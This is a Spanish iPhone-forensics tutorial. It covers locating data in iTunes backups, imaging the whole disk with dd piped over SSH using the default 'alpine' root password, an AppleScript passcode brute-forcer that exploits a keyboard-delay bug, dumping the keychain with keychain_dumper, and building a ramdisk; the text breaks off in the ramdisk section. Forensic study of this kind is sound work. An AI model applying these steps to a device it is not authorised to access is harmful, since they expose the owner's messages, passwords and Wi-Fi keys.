62
Análisis Forense Iphone Carlos Rebollo

Analisis-Forense-Iphone.pdf

Embed Size (px)

Citation preview

  • Anlisis Forense

    Iphone

    Carlos Rebollo

  • IDICE

    Analisis del Backup ..................................................................................... 3

    Copia bit a bit a travs de SSH .................................................................. 25

    Atacar por fuerza bruta el passcode ......................................................... 32

    Como crackear el keychain ....................................................................... 42

    Accediendo al Iphone con Ramdisk .......................................................... 52

  • Analisis del Backup

    Vamos a analizar el Backup que genera iTunes en el ordenador. Existen otros mtodos

    para la extraccin de datos del iPhone como puede ser la copia ntegra del contenido

    mediante el uso del comando dd a travs del ssh (requiere tener el jailbreak) pero lo

    dejar para otra entrada futura.

    1. Ubicacin de las copias de seguridad.

    Dependiendo de si nuestro ordenador corre Mac OS o Windows se ubicar en sitios

    distintos; a continuacin se muestra una tabla con las ubicaciones:

    SISTEMA

    OPERATIVO UBICACIN

    Windows XP C:\Documents and Settings\[USUARIO]\Application

    Data\Apple Computer\Mobile Sync\Backup\

    Windows 7 C:\Users\[USUARIO]\AppData\Roaming\Apple

    Computer\Mobile Sync\Backup\

  • Mac OS Users/[USUARIO]/Library/Application Support/Mobile

    Sync/Backup

    Dentro de la carpeta Backup aparecen subcarpetas con nombres como este:

    9f2df5d47_____________________a9c2cba7c (no voy a poner el mio entero jeje) que

    es el UDID (Unique Device Identifier) que es un cdigo hexadecimal que se crea la

    primera vez que se conecta el iPhone a iTunes y que lo identifica de manera nica.

    Si accedemos a esta ruta y navegamos por las carpetas veremos solo que hay ficheros

    con nombres muy extraos (que son el resultado de un hash) que no nos aclaran nada.

  • 2. Ficheros importantes

    Junto a esta cantidad de ficheros ilegibles aparecen 4 ficheros que si se pueden leer.

    2.1 Info.plist:

    Este fichero contiene multiple informacin sobre el dispositivo: IMEI, nmero de telfono,

    nombre del dispositivo, nombre de todas las aplicaciones instaladas y dems

    informacin.

    Solo con este archivo, hemos obtenido ya mucha informacin clave.

  • 2.2 Manifest.plist:

    Este fichero contiene detalles de aplicaciones asi como una referencia a si el terminal

    tiene el passcode activado y si el backup tiene cifrado

  • 2.3 Status.plist:

    Este fichero contiene informacin relativa al backup: Versin con que ha sido hecho,

    fecha de realizacin y si el backup ha sido completo.

    2.4 Manifest.mbdb:

    Se trata de un fichero binario que contiene informacin sobre el resto de archivos del

    backup: tamaos de ficheros, estructura de los datos, hashes SHA-1, etc

  • Como la informacin es un poco ilegible, vamos a pasar una herramienta creada por

    Alejando Ramos (@aramosf) llamada listmanifest.pyque basndose en la estructura del

    binario parsea el Manifest y imprime un .csv por pantalla que nos hace ms fcil la

    lectura del fichero.

    Tras pasar la herramienta, pegar el resultado en el excel y hacer un mnimo tratamiento

    de los datos, nos ha quedado la siguiente tabla con informacin:

  • 3. Traducir ficheros a nombres legibles

    Estos titulos que no entendemos a priori aparecen porque Apple realiza un Hash SHA-1

    a la ruta donde se aloje el fichero.

    Para entenderlo vamos a mostrar un ejemplo.

    Para la ruta HomeDomain-Library/AddressBook/AddressBookImages.sqlitedb Apple

    ejecuta un SHA-1 y obtiene el valor: cd6702cea29fe89cf280a76794405adb17f9a0ee.

    Mediante un diccionario muy grande con las rutas estndares se pueden retornar los

    ficheros al formato original. Otra opcin es parsear el Manifest.mbdb y ya tenemos todas

    las rutas

    Existen aplicaciones para hacer estas conversiones, pero casi todas las que he probado

    me han parecido un poco malas porque no son capaces de hacer la traduccin de todos

    los datos con un solo click. Es necesario ir aplicacin por apliacin.

    Dentro de los programas que he probado, el que ms me ha gustado ha

    sido http://www.icopybot.com/itunes-backup-manager.htm que est slo disponible para

    Mac y Windows ( es una lstima que no est para Linux =S ).

  • Seleccionas las aplicacion que quieras retornar al valor original y la extrae. iOS Files

    congrega los ficheros del telfono y del sistema que se guardan en el Backup.

    Como se ve en la imgen, es necesario ir aplicacin por aplicacin dando a extraer. Con

    mucha paciencia se consigue traducir todo.

    Finalmente nos quedan todas las carpetas organizadas y listas para ser abiertas y

    tratadas.

  • Ahora os voy a mostrar las rutas de los ficheros ms interesantes de analizar as como

    la estructura de los mismos y algunas aplicaciones para abrirlos.

    4. Tipos de ficheros

    Los tipos de ficheros que nos encontraremos sern los siguientes:

    4.1 Sqlite:

    Se trata de un tipo de base de datos que no necesita instalacin previa. En el propio

    fichero de la base de datos est contenida toda la informacin.

    Os dejo 2 links con ms informacin sobre la estructura interna de sqlite por si queris

    echar un vistazo. No lvoy a ponerlo porque se podra hacer un Post entero solo

    explicando esto.

    http://www.sqlite.org/fileformat.html

    http://forensicsfromthesausagefactory.blogspot.com.es/2011/05/analysis-of-record-

    structure-within.html

    4.2 Plist:

    Es un tipo de fichero de propiedades que contiene informacin de aplicaciones y del

    propio sistema.

    Dejo otro link para ver la estructura interna del fichero.

    https://developer.apple.com/library/mac/documentation/Darwin/Reference/ManPages/ma

    n5/plist.5.html

    5. Aplicaciones parar abrir los ficheros

    El primer tipo de aplicaciones que debemos usar es un editor hexadecimal. Un editor

    hexadecimal abre absolutamente cualquier fichero y nos lo muestra en bruto. De esta

    manera siempre podemos visualizar el contenido del fichero aunque no aparezca de una

    forma bonita.

    Algunos que he encontrado por la web han sido:

    - Es multiplataforma y me ha gustado mucho el diseo que

    tiene: http://sourceforge.net/projects/wxhexeditor/

    - Windows: http://www.hexedit.com/download.htm

    - Mac OS: http://ridiculousfish.com/hexfiend/

  • - GNU/Linux: http://home.gna.org/bless/downloads.html

    No est de ms que a parte de poder leer los datos en bruto tambin los leamos con

    aplicaciones especficas para cada cosa, asi lo siguiente que vamos a necesitar es un

    lector de sqlite

    - El Multiplataforma que ms me ha

    gustado: http://sourceforge.net/projects/sqlitebrowser/

    - Windows: http://www.softpedia.es/programa-SQLite-Database-Browser-141732.html

    - Linux: http://sqliteadmin.orbmu2k.de/

    Como ltima aplicacin, no estara mal disponer de un lector especfico para archivos

    .plist, ya que apple usa de forma muy habitual estos ficheros para almacenar

    informacim

    - Windows: http://www.icopybot.com/plist-editor.htm

    - Mac OS: http://www.fatcatsoftware.com/plisteditpro/

    - GNU/Linux: http://scw.us/iPhone/plutil/

    6. Paths importantes

    Las Rutas que muestro a continuacin han sido sacadas de un Backup de iOS en la

    versin 6.1. Es posible que si se buscan estas mismas rutas en versiones anteriores o

    futuras, no coincidan.

    6.1 iOS Files

    En la Carpeta iOS Files est concentrada la mayora de informacin a analizar.

    6.1.1 Contactos

    Los contactos son almacenados en una base de datos bicada en: /iOS

    Files/Library/AddressBook/AddressBook.sqlitedb

  • Tambin podemos encontrar las imgenes pertenecientes a los contactos en: /iOS

    Files/Library/AddressBook/AddressBookImages.sqlitedb

  • 6.1.2 historial llamadas

    El historial de llamadas lo podemos encontrar en: /iOS

    Files/Library/CallHistory/call_history.db

  • 6.1.3 SMS

    Los SMS podemos encontrarlos en: /iOS Files/Library/SMS/sms.db

    6.1.4 Notas

    Las notas se encuentra ubicadas en: /iOS Files/Library/Notes/notes.db

  • 6.1.5 Fotos

    Las fotos son almacenadas en 2 carpetas. La ubicacin donde se almacenan cuando se

    hacen es: /iOS Files/Media/DCIM/100APPLE

  • Si se tiene habilitada la opcin de subir a icloud estarn aqu: /iOS

    Files/Media/PhotoStreamsData/

  • En el Fichero Photos.sqlite (/iOS Files/Media/PhotoData/Photos.sqlite) podemos

    encontrar informacin sobre todas las fotos en el telfono.

  • 6.1.6 Wifis

    Poedmos ver los Wifis que tiene guardados el telfono mediante la

    ruta: /iOSFiles/SystemConfiguration/com.apple.wifi.plist.

    Una vez ubicados las principales bases de datos relativas al funcionamiento del telfono

    pongo la ruta donde se encuentran aplicaciones que casi todo el mundo usa.

  • 6.2 Whatsapp

    La carpeta donde se encuentra la informacin de Whatsapp

    es: /net.whatsapp.WhatsApp/

    Ms concretamente, el fichero donde encontraremos las conversaciones es el

    siguiente:/net.whatsapp.WhatsApp/Documents/ChatStorage.sqlite

  • Tambin podemos ver los contactos que tiene en la agenda de Whatsapp

    en: /net.whatsapp.WhatsApp/Documents/Contacts.sqlite

  • Es posible tambin ver las fotos recibidas y descargadas en el iPhone a travs de la

    aplicacin Whatsapp en:/net.whatsapp.WhatsApp/Library/Media

  • 6.3 Line

    La carpeta donde se encuentra la informacin de Line es: /jp.naver.line/

    En concreto, las conversaciones quedan guardadas

    en: /jp.naver.line/Documents/talk.sqlite

  • Copia bit a bit a travs de SSH Despus de mostrar las rutas donde se almacenan los datos importantes voy a mostrar

    como hacer una copia bit a bit del interior del iPhone.

    Atencin: Esta tcnica solo funciona para las versiones anteriores al iPhone 4 ya que

    Apple a partir de entonces introdujo un cifrado Hardware. Podemos extraer la imgen

    igualmente pero hasta que no haya un criptoanlisis que lo rompa por ahora no

    podremos abrirla.

    1. Requisitos

    1.1 Jailbreak

    Para realizar esta copia es necesario tener realizado el Jailbreak al iPhone.

    1.2 OpenSSH

    Para poder conectarse al iPhone es necesario que ste, tenga habilitado OpenSSH.

    Recordar que el par ususario/contrasea por defecto es: root / alpine.

  • 1.3 Ordenador GNU/Linux con servidor ssh

    El ordenador no es estrictamente necesario que tenga GNU/Linux instalado, pero en mi

    caso lo prefiero para realizar el resto de tareas. Ms all del sistema operativo, es

    necesario que tenga un servidor ssh. Para las personas que no sepan de distribuciones

    GNU/Linux, pueden coger el Live-CD de Kali que podis descargar aqu. (Grabis la

    ISO, y arrancis desde CD)

  • 1.4 Misma Red wifi para ordenador y iPhone

    Para que puedan comunicarse el ordenador y el iPhone es necesario que se encuentren

    dentro de las misma subred (que en este caso es wifi) y que no haya un

    antivirus/firewall/IPS que bloquee el trfico SSH a travs de ella.

    Como se muestra en la imgen, la IP del iPhone es 192.168.1.6 .

    2. Pasos previos

    En mi caso, he realizado las pruebas con un iPhone 4S con versin iOS 6.1.1.

  • 2.1 Conectar a la corriente el iPhone

    Es muy recomendable conectar el iPhone a la corriente para que no nos quedemos sin

    batera en medio de la copia.

    2.2 Bloque automtico: Nunca

    Tanto si el telfono tiene passcode como si no, vamos a modificar la frecuencia en que

    se bloquea seleccionando Nunca. Este paso lo realizamos para que mientras se est

    realizando la copia bit a bit a travs del wifi, el terminal no se bloquee y no se nos

    desconecte de la red, dejndonos la copia a medias (me ha pasado varias veces

    mientras hacia las pruebas =S).

    Preferencias -> General -> Bloqueo automtico -> Nunca

    2.3 Activando servidor SSH

    Para aquellos que estis usando Kali u otro sistema operativo GNU/Linux que no tenga

    el servidor SSH arrancado, tendris que hacerlo mediante los comandos:

    Ver el status actual:

    service ssh status

  • Arrancar:

    service ssh start

    Comprobacin de que el servidor SSH esta arrancado:

    service ssh status

    ssh 127.0.0.1

    exit

    3. Realizando la copia

    3.1 Ping

    Vamos a comenzar haciendo ping al iPhone para ver que es alcanzable desde la red wifi.

  • 3.2 Cambio de contrasea root

    Seguidamente vamos a establecer una conexin SSH con el iPhone para cambiar la

    contrasea por defecto y que no nos afecten algunos de los virus que circulan por la red.

    Para ello, una vez establecida la conexin a travs de ssh con la password alpine

    tecleamos lo siguiente:

    passwd

    Introduciremos la nueva contrasea 2 veces, y ya tendremos nuestra propia contrasea

    root en el iPhone y no la Defecto.

  • 3.3 Copia de datos mediante dd

    Vamos a proceder a realizar la copia bit a bit. Para ello vamos a usar el sencillo pero

    potente comando dd. La idea es invocar el comando dd desde el iPhone haciendo una

    llamada al ssh del ordenador destino. De esta manera la copia del iPhone se ir pasando

    por wifi, a travs del protocolo ssh a nuestro ordenador.

    El comando a teclear dentro del iPhone es el siguiente:

    dd if=/dev/rdisk0 bs=4096 | ssh -C

    @ dd of=.img

    Utilizamos bs=4096 para determinar que la unidad de bloque lectura/escritura es de 4KB

    (podramos usar otro tamao si queremos).

    Usamos la opcin -C para comprimir los datos con gzip y as tardar menos en el proceso

    (si disponemos de ms tiempo podemos realizarlo sin esta opcin).

    Como se observa en la captura, el ordenador que va a recibir la imgen tiene la

    IP 192.168.1.10

    El proceso de copiado es bastante largo. En mi caso dur unas 2 horas siendo el iPhone

    de 16GB, por lo que si vuestro almacenamiento es superior tendris que tener bastante

    paciencia.

  • Atacar por fuerza bruta el passcode Existen varios mtodos para crackear el passcode pero por ahora este es el nico que

    me ha funcionado. A medida que profundice en los dems y los pruebe, ir escribiendo

    como realizarlos paso a paso.

    1. Requisitos

    1.1 Ordenador con Mac OS X

    Para automatizar el proceso de introduccin de cdigos se ha usado un Script hecho en

    AppleScript (es un programa para hacer scripts de forma secilla que corre bajo OS X).

    Se podra hacer un script similar usando rutinas de Windows.

    1.2 Type2Phone

    Es la aplicacin que usaremos de puente entre el teclado del mac y el del iPhone.

    Cuesta 4,99

  • 1.3 Bluetooth del iPhone activado y emparejado con el ordenador.

    Para que el teclado del mac se pueda emparejar con el del iPhone es necesario conectar

    los dispositivos entre s a travs de bluetooth.

  • 2. Pasos previos

    Tal como coment en la parte tercera, he realizado las pruebas con un iPhone 4S en

    versin 6.1.1 de iOS.

    2.1 Conectamos iPhone por bluetooth y ejecutamos Type2Phone

    Empezamos emparejando el iPhone al ordenador por bluetooth.

  • 2.2 Prueba de concepto

    El mtodo se aprovecha de un bug (que por lo menos est presente hasta la 6.4) que

    tras conectar un teclado al iPhone, si introducimos varias veces mal un passcode dentro

    de los Ajustes NO surte efecto el Delay (de esperar 1, 15, 60, min) que el iPhone

    introduce cuando metemos mal ms de 5 veces el cdigo.

    La tcnica del Delay sirve entre otras cosas es para no poder hacer un ataque de fuerza

    bruta. Sin esta proteccin sacar el passcode es solo cuestin de tiempo.

    Vamos a empezar haciendo una prueba de concepto en el que introduciremos mal la

    contrasea unas 20 veces (mediante el teclado del mac) y veremos como el telfono nos

    dejar seguir insertando cdigos sin problema.

    Abrimos las preferencias del programa y desactivamos la opcin de Desconectar

    cuando este en segundo plano y que cuando este 5 minutos desocupado (esta

    segunda para mayor comodidad mientras preparamos las cosas).

  • La ruta que es vulnerable al ataque es: Preferencias -> General -> Bloqueo con cdigo

    Tras escribir bastantes combinaciones de cdigos a travs del teclado vemos como la

    restriccin de tiempo que se muestra por pantalla NO es efectiva ya que podemos seguir

    tecleando.

    Sin embargo la restriccin de tiempo SI es real para la entrada por pantalla, ya que nos

    nos dejar teclear nada a travs de ella (que no sea el botn cancelar).

  • 3. Fuerza Bruta

    Una vez funcionando la prueba de concepto, vamos a automatizar el proceso de

    introducir nmeros.

    3.1 AppleScript

    Crhis Russell ha desarrollado este Script que hace esta funcin.

    1

    2

    3

    4

    5

    6

    7

    8

    9

    10

    11

    12

    13

    14

    15

    16

    17

    18

    19

    20

    21

    22

    23

    24

    25

    26

    27

    28

    29

    30

    -- Author Chris Russell -- This script is designed to brute force the restrictions passcode

    -- on iPhone -- Assumptions: -- Blutooth is enabled -- Type2Phone App is running and connected to your phone (avail

    -- on Mac App Store) -- iPhone is switched on and on the restrictions passcode screen

    -- (General - Restrictions) global pinCodeDigit1 global pinCodeDigit2 global pinCodeDigit3 global pinCodeDigit4 set pinCodeDigit1 to 0 set pinCodeDigit2 to 0 set pinCodeDigit3 to 0 set pinCodeDigit4 to 0 on keyStrokeNumber(num) if (num = 0) then tell application "System Events" to keystroke "0" else if (num = 1) then tell application "System Events" to keystroke "1" else if (num = 2) then tell application "System Events" to keystroke "2" else if (num = 3) then tell application "System Events" to keystroke "3" else if (num = 4) then tell application "System Events" to keystroke "4" else if (num = 5) then tell application "System Events" to keystroke "5" else if (num = 6) then tell application "System Events" to keystroke "6" else if (num = 7) then tell application "System Events" to keystroke "7" else if (num = 8) then

  • 31

    32

    33

    34

    35

    36

    37

    38

    39

    40

    41

    42

    43

    44

    45

    46

    47

    48

    49

    50

    51

    52

    53

    54

    55

    56

    57

    58

    59

    60

    61

    62

    63

    64

    65

    66

    67

    tell application "System Events" to keystroke "8" else if (num = 9) then tell application "System Events" to keystroke "9" end if end keyStrokeNumber to incrementPIN() if (pinCodeDigit4 = 9) then if (pinCodeDigit3 = 9) then if (pinCodeDigit2 = 9) then set pinCodeDigit1 to pinCodeDigit1 + 1 set pinCodeDigit2 to 0 set pinCodeDigit3 to 0 set pinCodeDigit4 to 0 else set pinCodeDigit2 to pinCodeDigit2 + 1 set pinCodeDigit3 to 0 set pinCodeDigit4 to 0 end if else set pinCodeDigit3 to pinCodeDigit3 + 1 set pinCodeDigit4 to 0 end if else set pinCodeDigit4 to pinCodeDigit4 + 1 end if end incrementPIN

    to tryPin() keyStrokeNumber(pinCodeDigit1) keyStrokeNumber(pinCodeDigit2) keyStrokeNumber(pinCodeDigit3) keyStrokeNumber(pinCodeDigit4) delay 1 end tryPin

    try event ascrgdut end try

    -- main application, simple tell application "Type2Phone" to activate repeat 10000 times tryPin() incrementPIN() end repeat

    Si leemos el cdigo del Script vemos que primero ejecuta la aplicacin type2phone y

    seguidamente introduce directamente a la aplicacin las 10.000 combinaciones posibles

    con un delay de 1 segundo entre cada una de ellas. He hecho pruebas bajando

    esedelay y con 0.5 segundos el sistema responde bien y tarda la mitad de tiempo. No lo

    bajis ms porque en una prueba a 0.1 seg. he tenido que apagar el ordenador de botn

    ya que el teclado no responda y no poda parar el Script.

    Pegamos el cdigo en AppleScript

  • Antes de hacer Fuerza bruta sobre el objetivo vamos a ver el resultado de ejecutar el

    cdigo sobre el Bloc de Notas:

    Delay Numero de cdigos Tiempo mximo

    1 10.000 2:46:40 horas

    0.5 10.000 1:23:20 horas

    0.3 10.000 0:50:00 horas

    1 1.000 0:16:40 horas.

    0.5 1.000 0:8:20 horas.

    0.3 1.000 0:5:00 horas.

  • Una vez visto que funciona nos posicionamos en la Ruta Preferencias -> General ->

    Bloqueo con cdigo y ejecutamos el Script para comenzar la fuerza brutal.

    En la aplicacin type2phone veremos como van pasando todas las combinaciones una a

    una.

    El mtodo tiene un pequeo problema y es que cuando encuentra el cdigo no nos avisa

    ni lo muestra por pantalla; simplemente accederemos a las opciones de cdigo de las

    preferencias. Dentro de lo malo, con que sepamos por donde ha caido ms o menos el

    passcode podemos hacer un sondeo posterior a mano por los cdigos cercanos.

    De esta manera el tiempo que tardaremos en encontrarlo es:

    Otra opcin de bsqueda puede ser ejecutar el cdigo haciendo barridos de 1000 en

    1000. De esta manera solo tendremos que estar atentos al millar en el que se muestre la

    imgen de abajo.

  • Como crackear el keychain

    1. Teora sobre Keychain

    1.1 Qu es el Keychain?

    El keychain es contenedor cifrado (AES-128) con estructura sqlite que almacenada gran

    cantidad de datos sensibles del usuario como la identidad y las contraseas de

    aplicaciones. Su finalidad es almacenar la mayora de contraseas del dispositivo para

    que el telfono no nos pida las credenciales cada vez que arrancamos una aplicacin o

    servicio.

    Si un desarrollador necesita guardar datos sensibles del usuario, tiene dos mtodos para

    realizarlo: el primero consiste en guardar los datos en el Keychain, lo cual delega toda la

    proteccin a la seguridad de iOS o puede implementar un mtodo propio de cifrado (caso

    muy poco habitual) dentro de la aplicacin. Si una aplicacin usa este segundo mtodo,

    al no almacenarse los datos dentro del Keychain, no podremos acceder a las

    credenciales mediante este crackeo.

    Por ltimo comentar que hay aplicaciones que guardan las credenciales en texto plano

    dentro de un .plist. Este sera el peor mtodo para mantenerlas a salvo porque

    analizando los backups se podra leer perfectamente la contrasea.

    1.2 Cmo est estructurado?

    Hasta iOS 6.1.1 (es la versin donde hago las pruebas, pero creo que funciona en toda

    las versiones 6.X) el Keychain contiene 5 tipos de datos almacenados en 4 tablas. La

    tabla genp contiene generic passwords, inet contiene passwords de internet, cert y

    keys contiene certificados, claves e identidades; una identidades est formadas por un

    par cert-key.

  • 1.3 Como funciona el Keychain

    El Keychain es una aplicacin separada de las dems y protegida por iOS con la que el

    resto de aplicaciones se comunica para almacenar y leer informacin sensible.

    Esta comunicacin (o lectura de datos) solo puede hacerse por parte de una aplicacin a

    las zonas del llavero donde tenga acceso. Inicialmente solo se tena acceso a los datos

    de la propia aplicacin, pero dada la necesidad de compartir algunos datos entre varias

    aplicaciones se crearon los grupos de acceso del Keychain, de tal manera que un dato

    pueda ser compartido por varias aplicaciones.

    La forma con la que se valida si una aplicacin tiene acceso o no a un dato, o si

    pertenece a un grupo de acceso (Keychain_dumper se aprovecha de manipular estos

    datos de acceso) es leyendo los derechos de firma de cdigo de la aplicacin. En

    concreto las etiquetas importantes en este proceso son application-identifier que

    permite acceso a los datos de la propia aplicacin y keychain-access-groups que valida

    elementos de los grupos de aplicacin. Estos datos se encuentran en los binarios de las

    aplicaciones y son accesibles a travs del SSH si se tiene el Jailbreak hecho.

    code sign entitlement

    1

    2

    3

    4

    5

    6

    7

    8

    9

    10

    11

    12

    keychain-access-groups 8KM394JM3R.com.getdropbox.DropboxKeychainFamily application-identifier 8KM394JM3R.com.getdropbox.Dropbox aps-environment production

  • 1.4 El ataque

    Patrick Tommey ha creado la herramienta Keychain_dumper que es una aplicacin que

    ha sido firmada con unafirma de cdigo retocada. En el campo keychain-access-

    groups se ha puesto el operador * que hace que se valide contra cualquier keychain-

    access-groups que haya.

    entitlements.xml

    1

    2

    3

    4

    5

    6

    7

    8

    9

    10

    keychain-access-groups *

    2. Requisitos

    Los reqisitos que se citan a continuacin son para realizar la parte prctica tal como yo la

    he hecho. Se puede usar un ordenador Windows con la aplicacin Putty para subir el

    fichero por ftp sin problema.

    2.1 Ordenador con GNU/Linux o Mac OS

    En mi caso he hecho las pruebas tanto en Kali Linux como con Mac OS porque ambos

    disponen de cliente SSH nativo y porque son ms flexibles que Windows.

  • 2.2 Jailbreak + OpenSSH

    Para realizar este ataque es necesario que el telfono tenga hecho el jailbreak y

    instalado OpenSSH.

    Tal y como cont en Posts anteriores, la versin de iOS sobre la que realizo las pruebas

    es la 6.1.1

  • 2.3 Estar conectado a la misma red Wifi

    Al igual que en Posts anteriores, es necesario que el iPhone y el ordenador estn dentro

    de la misma subred para poder realizar la conexin SSH.

  • 3. Prctica

    3.1 Subir fichero keychain_dumper

    Se puede descargar la carpeta con los fuentes y un binario keychain_dumper

    desde aqu. Solo es necesario subir el binario; el resto de ficheros vienen por si

    queremos realizar nosotros el proceso de firma del cdigo.

    Para subir el fichero al iPhone podemos usar el comando de unix scp o un cliente SFTP

    (no es ms que un FTP apuntando al puerto 22 de SSH).

    En mi caso lo he subido usando scp mediante estos sencillos comandos:

    cdigo subir keychain_dumper

    1

    2

    3

    scp keychain_dumper root@: ssh root@ chmod 777 keychain_dumper

  • 3.2 Ejecutamos y nos envamos el resultado a nuestro ordenador

    Una vez subida la aplicacin al telfono, solo queda ejecutarla. Para que nos saque toda

    la informacin vamos a llamarla con la opcin -a (all) y la vamos a redirigir a un fichero

    llamado por ejemplo llavero.

    ./keychain_dumper -h (opciones de keychain_dumper)

    1

    2

    3

    4

    5

    6

    7

    8

    9

    Usage: keychain_dumper [-e]|[-h]|[-agnick] : Dump Password Keychain Items (Generic Password, Internet

    Passwords) -a: Dump All Keychain Items (Generic Passwords, Internet Passwords,

    Identities, Certificates, and Keys) -e: Dump Entitlements -g: Dump Generic Passwords -n: Dump Internet Passwords -i: Dump Identities -c: Dump Certificates -k: Dump Keys

    Ahora vamos a realizar el proceso inverso, vamos a subir el fichero llavero del iPhone a

    nuestro ordenador mediante la ejecucin de otro comando scp.

    ejecucin keychain_dumper y subida de resultado

    1

    2

    3

    4

    5

    // Ejecutamos keychain_dumper ./keychain_dumper -a > llavero

    //Lo subimos al ordenador scp llavero @:/

  • 3.3 Analizando los datos

    Una vez que tenemos el fichero en nuestro ordenador solo queda analizarlo y comprobar

    que todos los usuarios y contraseas estn en texto plano. Para ver un ejemplo he

    sacado varias capturas a distintas partes del fichero llavero.

    OJO: Si un atacante llega a ver todo esto... la hemos liado pero bien

    3.3.1 Claves de correo

    Todas las claves de correo quedarn expuestas en texto plano junto con credenciales de

    otras pginas web que hayamos guardado.

    3.3.2 Claves de Wifi

    Se pueden listar todas las wifis a las que se ha conectado el iPhone a lo largo de toda su

    vida. Para borrar una red wifi de las preferencias (y que no apareciera en el keychain)

    es necesario primeramente conectarse a ella y despus pulsar sobre omitir esta

    red; esta idioted que introduce Apple hace que no sea viable borrar las redes wifis a las

    que nos hemos conectado (y estemos enviando constantemente probes con todos los

    nombres) ya que para hacerlo tendramos que recorrernos sitio por sitio todos los lugares

    fsicos donde estn todas las wifis e ir borrando una a una.

  • Gracias Apple por hacernos ms trazables, si cabe.

    3.3.3 Cdigo PIN de la SIM

    Entre todas las claves que se guardan se encuentra el cdigo PIN de la tarjeta sim. Es

    cierto que cada vez ms, la mayora de Smartphones almacenan ms y ms datos de

    comunicaciones (SMS, llamadas, agenda, ) en el propio telfono en vez de en la SIM,

    pero no deja de ser un dato importante de cara a realizar/recibir llamadas, enviar MMS,

    etc..

  • No he hecho ms capturas porque no lo he visto necesario(hay mucha informacin

    sensible). Entre la informacin podemos encontrar tambin certificados de pginas SSL,

    contraseas de aplicaciones (dropbox, etc..) y un sin fn de claves ms.

    Como conclusin se nos debe quedar que si hacemos el Jailbreak al iPhone y tenemos

    instalado Open SSH: TENEMOS QUE CAMBIAR LA CONTRASEA por defecto ROOT

    (alpine) y MOBILE (dottie).

  • Accediendo al Iphone con Ramdisk

    Ahora voy a hablar sobre un mtodo para acceder al iPhone (

  • 1.2 Modo DFU (en este se realiza el ataque)

    En este mtodo el BootROM tras arrancar comprueba los cargadores de arranque de

    segundo nivel (iBSS y iBEC).

    La firma del cargador de arranque comprueba el Kernel, mientras que el Kernel

    comprueba el RamDisk.

    Como vemos, toda la cadena de firmas nos impide modificar cualquier elemento

    intermedio. La comunidad hacker ha conseguido algunos exploits para ciertas versiones

    del BootROM que son los que usaremos para flashear el arranque y modificarlo para que

    arrnaque nuestra propio RamDisk.

    1.3 Modo Recuperacin

    Aqu se muestra la secuencia de arranque en modo recuperacin.

    No voy a explicar paso a paso las fases ya que no es muy importante, pero tal como se

    ve en el esquema, es similar al del arranque normal.

    2. Requisitos Instalando dependencias

    A continuacin paso a describir tanto los requisitos como la instalacin de libreras y

    dependencias consiguientes.

    2.1 Requisitos:

    iPhone 3G, iPhone 3GS, iPhone 4, iPad 1, iPod Touch 2G, 3G y 4G. En mi caso he

    pedido un iPhone 4 a un amigo para hacer la prueba.

  • Mac OS X >= 10.6. Como en casos anteriores, he usado un iMac con Mac OS X 10.8.4.

    2.2 Instalando dependencias:

    He seguido las instrucciones que tiene el README de dataproteccion pero he tenido

    problemas con dependencias al instalar alguna aplicacin. Paso a poner los pasos que

    he realizado para eliminar las dependencias:

    El primer paso que vamos a hacer es instalar Xcode (se busca y se instala en la

    AppStore).

    Despus de instalar Xcode es necesario instalar un plugin. Para ello una vez arrancado

    pulsamos cmd + , y damos al botn instalar en Command Line Tools

  • INSTALLING DEPENDENCIES IPHONE-DATAPROTECTION (MAC OS X) V2 (UPDATE SEP.

    2013)

    Para coger experiencia usando el terminal vamos a hacer toda la instalacin desde l.

    iPhone-dataprotection (Mac OS X) V2

    1

    2

    3

    4

    5

    6

    7

    8

    9

    10

    11

    12

    13

    14

    15

    16

    17

    18

    19

    20

    21

    22

    23

    24

    25

    26

    #Nos vamos a la carpeta de descargas para tenerlo todo organizado

    cd Downloads

    #Descargamos ldid (programa para firmar cdigo)

    curl -O http://networkpx.googlecode.com/files/ldid

    chmod +x ldidsudo mv ldid /usr/bin

    #Descargamos FUSE for OS X

    curl -O L

    http://sourceforge.net/projects/osxfuse/files/osxfuse-2.6.1/osxfuse-2.6.1.dmg

    hdiutil mount osxfuse-2.6.1.dmg

    sudo installer -pkg /Volumes/FUSE\ for \ OS\ X/Install\ OSXFUSE\ 2.6.pkg

    -target /

    hdiutil eject /Volumes/FUSE\ for \ OS\ X/

    #Instalamos dependencias de M2crypto (depende de SWIG,

    y SWIG depende de pcre)

    #Instalamos pcre ya que es una dependencia de SWIG

    curl -O L

    http://sourceforge.net/projects/pcre/files/pcre/8.33/pcre-8.33.zip

    unzip pcre-8.33.zip

    cd pcre-8.33

    ./configure

    sudo make install

    cd ..

    #Una vez tenemos instalado pcre, instalamos SWIG que es una

  • 27

    28

    29

    30

    31

    32

    33

    34

    35

    36

    37

    38

    39

    40

    41

    42

    43

    dependencia de M2crypto

    curl -O L

    http://sourceforge.net/projects/swig/files/swig/swig-2.0.11/swig-2.0.11.tar.gz

    tar -xzvf swig-2.0.11.tar.gz

    cd swig-2.0.11

    ./configure

    sudo make

    sudo make install

    cd ..

    #Despus de instalar las dependencias, instamos M2crypto

    con construct, progressbar, setuptools

    sudo heasy_install M2crypto construct progressbar setuptools

    #Instalamos libreria pycrypto

    sudo ARCHFLAGS='-arch i386 -arch x86_64' easy_install pycrypto

    #Ahora instalamos Mercurial

    curl -O

    http://mercurial.selenic.com/mac/binaries/Mercurial-2.7.1-py2.7-macosx10.8.zip

    unzip Mercurial-2.7.1-py2.7-macosx10.8.zip

    cd mercurial-2.7.1_20130905-py2.7-macosx10.8

    sudo installer -pkg mercurial-2.7.1+20130905-py2.7-macosx10.8.mpkg

    -target /

    Respecto a los comandos originales he realizado los siguientes cambios:

    - Se instala la ltima versin de OSXFUSE

    - Pcre ha sido instalado porque sin el no era posible ejecutar SWIG.

    - SWIG ha sido instalado para poder instalar M2crypto.

    - Se instala Mercurial

  • 3. Construyendo el Ramdisk & Kernel

    Para construir el Ramdisk vamos a descargar la ltima versin de iphone-dataprotection

    del respositorio (hace mucho que no se actualiza pero es lo que hay). Podis

    descargarlo a mano desde esta web.

    Descargando iPhone-dataprotection

    1

    2

    3

    hg clone https://code.google.com/p/iphone-dataprotection/

    cd iphone-dataprotection

    make -C img3fs/

    Una vez descargado el pack de herramientas, necesitamos descargar redsn0w para

    copiar el fichero Keys.plist y copiarlo en la carpeta de iPhone-dataprotection. En mi caso

    he usado la misma versin de redsn0w que viene en el Readme pero se pueden usar

    versiones ms recientes. Podis descargarlo a manualmente desde esta web.

    Descargando Redsn0w 0.12.b9.2

    1

    2

    3

    curl -O -L

